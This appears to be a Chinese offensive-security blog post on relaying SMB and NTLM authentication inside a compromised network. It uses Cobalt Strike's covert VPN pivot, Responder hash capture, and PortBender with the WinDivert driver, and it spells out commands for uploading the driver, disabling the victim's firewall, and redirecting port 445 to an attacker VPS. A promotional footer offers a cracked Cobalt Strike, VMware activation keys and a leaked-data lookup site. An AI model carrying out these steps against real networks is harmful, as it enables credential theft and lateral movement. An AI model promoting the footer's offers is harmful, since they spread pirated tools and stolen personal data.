在攻击内网的时候,有些攻击方式和漏洞比较特殊,必须要在对面网络环境下才能成功利用,比如 SMB
中继攻击,这篇文章利用 CS
自带的 VPN
和端口转发,以及一些插件来解决可能遇到的问题。
cobalt strike
本身的 beacon
自带了 vpn
功能,可以简单配置就让我们的 vps
上的网络环境处于对方内网,非常方便。
基本原理
对于攻击者,目标的网络可通过虚拟网卡访问,此接口的工作方式类似于物理网络接口。当某个程序试图与目标网络交互时,会写入数据到虚拟网卡,在缓冲区中,VPN
服务器使用这些以太帧(二层网络的工作原理,参考 wiki
),通过数据通道(TCP/UDP/HTTP
等等管道)将它们传输到 VPN
客户端。VPN
客户端接收这些流量并将它们转储到目标网络上。
下图即是基本数据交互过程:
对于目标服务器而言,Cobalt Strike
的 VPN
客户端嗅探目标网络上的流量。当它看到我们需要的帧时,它会将它们中继到 VPN
服务器,将它们写入 TAP
接口。这会导致服务器的操作系统处理这些帧,就好像它们是从网络上读取的一样。可以简单理解为我们攻陷的机器有了两个 ip
地址,虚拟出来的 ip
通过 vpn
隧道来转发流量。
因为实际利用过程采用的 dll
注入到内存,难以被杀毒查杀,实战适用范围还是挺广的。
实际操作
查看现在 vps
没有部署 vpn
前的网卡,目前只有两张网卡
ifconfig
在具备高权限的 beacon
下,选择 piovting
模块,找到 deploy vpn
这个选项
会弹出一个如下图的选项,记得勾选克隆 MAC
地址,之后点击 add
点击后出现了如下,注意到支持如下5种协议模拟 vpn
,根据情况选择你的协议,这里面根据官方文档的说法 UDP
是最快最合适的,与 TCP
和 HTTP
通道相比,UDP
通道的开销最少,不过如果您需要通过限制性防火墙,请使用 ICMP
、HTTP
或 TCP
(绑定)通道。
测试过程中发现 windows 10
居然不支持?难道要 windows servers
?
查看一下具体实现的技术是使用了 TUN
与 TAP
,理论上应该是全平台支持的,在 windows
上用的是 WinPcap
,可能 CS4.7
还没实现相关的功能吧。现在我换成 windows server 2012
就成功部署了,看样子应该是就支持 windows server
:
我们可以从网卡接口看到,我们的网络状态,如果你运气比较好,就可以看到 tx
和 rx
是直接有数据传输的,你可以直接回头看看 vps
上的网卡了:
不过你大概率可能会和我一样,tx
的数字是 0
,这意味着没有传输,只有接收,ifconfig
压根还没看到 phear0
的网卡,其实网卡是还没启用,需要我们手工启动一下(这玩意太坑了,全网好像压根没有资料,官方文档也没有说明,耗了我前后两三天,处于玄学状态,有的时候就它就能自己把网卡拉起来,不过大多数时候得我们自己拉起来)
ip link set phear0 up
之后你就可以用 ifconfig
看到我们加入进来的网卡了:
查看你的 ip
地址,一般来说还没配上,你要手工自己配一下,ping
一个没在用的 ip
,之后检查一下,看看能不能 ping
通对面的内网主机:
ifconfig phear0 192.168.31.11 netmask 255.255.255.0 up
或者,(你可能遇到 SIOCSIFADDR: File exists
报错,换一个 ip
就好了,然后看看你的 ip
有没有添加上网卡,原因暂时不清楚为什么)
ip addr add 192.168.31.11 dev phear0
成功 ping
通,延时和掉包都完美:
我们通过内网的一个机器扫描看看,看看能不能访问到我的 vps
上的服务,如下,我的确开了这几个(我服务器做了禁 ping
所以需要 -Pn
):
现在我们再试一试 responder
这个投毒中继的神器
responder -I phear0
vps
开启后我尝试直接从本机 3389
随便输入一个账号密码,来模拟中继的过程。vps
上的 responder
成功抓到了我刚刚的 NTLMv2-SSP Hash
,实验结束。
利用反向端口转发和WinDivert强抓445流量
你肯定会想到端口转发的操作,没错,我之前也以为只要把 445
的流量转发出来就好了,不过实际没有这么简单,即使我们是 system
权限也是没有办法直接利用端口转发工具转发 445
,因为 SMB
在使用 445
端口时需要进行一些额外的协议处理,如 SMB
协议本身的封装、SMB
会话的建立和维护,这里我们需要利用驱动注入的工具 "PortBender"
来改变流量方向。需要注意的是,一旦注入了驱动之后,所有流量都会被改变,这会导致依靠此流量的业务会无法正常工作,即使你在之后取消了 "PortBender"
的转发,依然有概率会让服务器的 445
端口异常。请保持冷静,最好一次成功,否则 445
端口服务一旦崩溃就只能重启来恢复了。
工具地址:https://github.com/praetorian-inc/PortBender
下载发布的在 CS
里面加载脚本即可,用法:
使用之前要把我们驱动传到指定目录(必须要在这个目录下):
cd C:Windowssystem32drivers
upload /root/下载/WinDivert64.sys
记得把防火墙规则设置好,让流量通过,或者你和我一样比较懒,直接关掉
netsh advfirewall set allprofiles state off
我们先创建一条反向端口转发的规则,它把本机的 8445
流量全部抓发到了 vps
本机的 445
rportfwd 8000 127.0.0.1 445
之后再利用 "PortBender"
来转发 445
的流量到 8000
PortBender redirect 445 8000
上面两条规则组合起来,使得在 vps
上监听 445
能抓到受害机器的 445
流量,值得注意的是必须要以 system
权限的 beacon
才能注入驱动,如果开始没有配置好,或者配置错误等原因会导致 smb
服务崩溃间接体现为 445
端口关闭状态。而且 445
经过转发后不能在中继自己,必须中继到其他服务器,这里我用了一个简单的域环境来体现。
dir \192.168.31.153admin$
在 192.168.31.228
用域管理员这里触发了 445
的认证
从 CS
的控制台可以看到我们接受到来自 192.168.31.228
的连接:
vps
这里通过 socks
代理转发回流量,流量成功转发回去:
我这里忘记把签名关了,导致没办法执行中间人攻击,不过这不是我们本章的重点。流量的走向图如下:
总结
在内网渗透中不可能给对面的 windows
装个 python
开启中继攻击,而且即使有 python
环境,大概率也会因为杀毒、smb
本身的问题无法执行这类攻击,本文利用 vpn
和端口转发解决了这类问题。
本文作者:Endlessparadox
原文地址:https://xz.aliyun.com/t/12500
参考资料:https://www.cobaltstrike.com/blog/how-vpn-pivoting-works-with-source-code/
关注公众号后台回复 0001
领取域渗透思维导图,0002
领取VMware 17永久激活码,0003
获取SGK地址,0004
获取在线ChatGPT地址,0005
获取 Windows10渗透集成环境,0006
获取 CobaltStrike 4.9.1破解版
加我微信好友,邀请你进交流群
往期推荐
备用号,欢迎关注
原文始发于微信公众号(刨洞安全团队):实战下的内网中继攻击问题